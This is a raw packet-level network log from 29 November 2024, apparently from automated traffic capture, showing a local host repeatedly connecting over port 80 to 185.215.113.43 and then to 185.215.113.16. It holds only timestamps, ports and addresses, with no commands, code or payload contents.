Nov 29, 2024 20:06:48.599613905 CET	50012	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:50.132402897 CET	50012	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:50.133001089 CET	50020	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:50.253238916 CET	80	50012	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:50.253508091 CET	80	50020	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:50.254412889 CET	50020	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:50.254415035 CET	50012	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:50.258311987 CET	50020	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:50.378967047 CET	80	50020	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:51.646013975 CET	80	50020	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:51.646076918 CET	50020	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:53.270795107 CET	50020	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:53.271258116 CET	50027	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:53.391218901 CET	80	50020	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:53.391233921 CET	80	50027	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:53.391292095 CET	50020	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:53.391338110 CET	50027	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:53.391726971 CET	50027	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:53.512012959 CET	80	50027	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:54.829025984 CET	80	50027	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:54.830393076 CET	50027	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:56.347774029 CET	50027	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:56.347774029 CET	50034	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:56.467761040 CET	80	50034	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:56.467855930 CET	50034	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:56.468079090 CET	80	50027	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:56.468108892 CET	50034	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:56.468183994 CET	50027	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:56.587960005 CET	80	50034	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:57.909229994 CET	80	50034	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:57.909291983 CET	50034	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:59.536554098 CET	50034	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:59.536973000 CET	50041	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:59.656893015 CET	80	50034	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:59.656930923 CET	80	50041	185.215.113.43	192.168.2.4
Nov 29, 2024 20:06:59.656939983 CET	50034	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:59.656990051 CET	50041	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:59.657257080 CET	50041	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:06:59.777111053 CET	80	50041	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:01.006397009 CET	80	50041	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:01.008542061 CET	50041	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:02.551570892 CET	50041	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:02.551661968 CET	50048	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:02.671703100 CET	80	50048	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:02.671967983 CET	80	50041	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:02.678354025 CET	50041	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:02.678364038 CET	50048	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:02.707727909 CET	50048	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:02.828573942 CET	80	50048	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:04.082577944 CET	80	50048	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:04.082640886 CET	50048	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:05.708535910 CET	50048	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:05.708880901 CET	50056	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:05.828840971 CET	80	50056	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:05.828854084 CET	80	50048	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:05.828895092 CET	50056	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:05.828924894 CET	50048	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:05.829372883 CET	50056	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:05.949345112 CET	80	50056	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:07.254488945 CET	80	50056	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:07.254534960 CET	50056	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:08.847826958 CET	50056	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:08.849128008 CET	50061	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:08.968558073 CET	80	50056	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:08.968741894 CET	50056	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:08.969223976 CET	80	50061	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:08.969335079 CET	50061	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:08.970314026 CET	50061	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:09.090312958 CET	80	50061	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:10.324448109 CET	80	50061	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:10.324556112 CET	50061	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:11.972923994 CET	50061	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:11.973277092 CET	50062	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:12.093285084 CET	80	50061	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:12.093300104 CET	80	50062	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:12.093338013 CET	50061	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:12.093394041 CET	50062	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:12.093596935 CET	50062	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:12.213793039 CET	80	50062	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:13.471703053 CET	80	50062	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:13.471752882 CET	50062	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:14.988046885 CET	50062	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:14.988521099 CET	50063	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:15.108680010 CET	80	50063	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:15.108701944 CET	80	50062	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:15.112433910 CET	50063	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:15.112437010 CET	50062	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:15.116343975 CET	50063	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:15.236393929 CET	80	50063	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:16.496133089 CET	80	50063	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:16.496491909 CET	50063	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:18.130672932 CET	50063	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:18.131118059 CET	50064	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:18.252113104 CET	80	50064	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:18.252213001 CET	50064	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:18.252315998 CET	80	50063	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:18.252372026 CET	50063	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:18.253272057 CET	50064	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:18.373213053 CET	80	50064	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:19.641123056 CET	80	50064	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:19.641179085 CET	50064	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:21.144833088 CET	50064	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:21.144835949 CET	50065	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:21.269850016 CET	80	50065	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:21.270207882 CET	80	50064	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:21.270447016 CET	50065	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:21.270451069 CET	50064	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:21.274321079 CET	50065	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:21.396482944 CET	80	50065	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:22.768647909 CET	80	50065	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:22.770411968 CET	50065	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:24.394346952 CET	50065	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:24.398356915 CET	50066	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:24.514671087 CET	80	50065	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:24.514734983 CET	50065	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:24.518254995 CET	80	50066	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:24.518377066 CET	50066	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:24.522335052 CET	50066	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:24.642456055 CET	80	50066	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:25.860642910 CET	80	50066	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:25.860692978 CET	50066	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:27.380323887 CET	50066	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:27.380692959 CET	50067	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:27.500797033 CET	80	50067	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:27.500850916 CET	50067	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:27.500885010 CET	80	50066	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:27.500929117 CET	50066	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:27.501168966 CET	50067	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:27.621889114 CET	80	50067	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:28.915098906 CET	80	50067	185.215.113.43	192.168.2.4
Nov 29, 2024 20:07:28.922342062 CET	50067	80	192.168.2.4	185.215.113.43
Nov 29, 2024 20:07:28.926340103 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:29.046499014 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:29.050436974 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:29.050736904 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:29.170753002 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427628994 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427645922 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427655935 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427716017 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427726984 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427900076 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427910089 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427920103 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427930117 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427939892 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.427972078 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.427973032 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.428050995 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.548722982 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.548736095 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.548865080 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.628715038 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.628830910 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.628956079 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.632917881 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.632978916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.633018970 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.633658886 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.641400099 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.641535044 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.641633987 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.641633987 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.650099039 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.650145054 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.650233984 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.658396959 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.658516884 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.658643007 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.666805983 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.666929007 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.667059898 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.675340891 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.675481081 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.675709009 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.683815956 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.683897972 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.683936119 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.684225082 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.692303896 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.692491055 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.693603039 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.694211006 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.700805902 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.700947046 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.700987101 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.701169014 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.709661007 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.709778070 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.709796906 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.710473061 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.749032021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.749533892 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.830054998 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.830204010 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.830224037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.830329895 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.834289074 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.834374905 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.834403038 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.838481903 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.842843056 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.843101025 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.845863104 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.845982075 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.846108913 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.846110106 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.854391098 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.854450941 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.857125998 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.862798929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.862859964 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.862903118 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.863107920 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.871331930 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.871506929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.871617079 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.879760027 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.879836082 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.879951000 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.888381004 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.888484001 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.888595104 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.892363071 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.892503023 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.894402981 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.896269083 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.896403074 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.896444082 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.898449898 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.900446892 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.900640011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.902334929 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.904345036 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.904443026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.908384085 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.908432961 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.908564091 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.912489891 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.912529945 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.912600040 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.916529894 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.916570902 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.916572094 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.920501947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.920551062 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.920577049 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.923609018 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.924490929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.924580097 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.924595118 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.924671888 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.928775072 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.928916931 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.932518005 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.932566881 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.932634115 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.936497927 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.936531067 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.936640978 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.942327976 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:30.950486898 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.950617075 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:30.958338976 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.032782078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.032995939 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.034785032 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.034826040 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.034998894 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.038871050 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.038909912 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.039021015 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.042857885 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.042905092 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.042969942 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.046879053 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.046932936 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.046926022 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.050865889 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.050913095 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.051045895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.054697037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.054728031 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.054801941 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.054872990 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.054965973 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.058274984 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.058355093 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.058387041 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.061801910 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.061913013 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.061929941 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.065289021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.065325975 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.065414906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.068831921 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.068867922 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.069091082 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.072333097 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.072360992 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.072426081 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.075862885 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.075898886 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.075987101 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.079432011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.079468012 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.079974890 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.082830906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.082870007 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.082951069 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.086319923 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.086406946 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.086441040 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.086441040 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.089708090 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.089864969 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.089888096 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.090406895 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.091859102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.091990948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.094142914 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.094270945 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.094300985 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.094363928 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.096153021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.096266985 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.096427917 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.098414898 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.098484993 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.100481987 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.100630045 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.102348089 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.102711916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.102896929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.104775906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.104827881 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.104867935 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.106395960 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.107023001 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.107132912 CET	80	50068	185.215.113.16	192.168.2.4
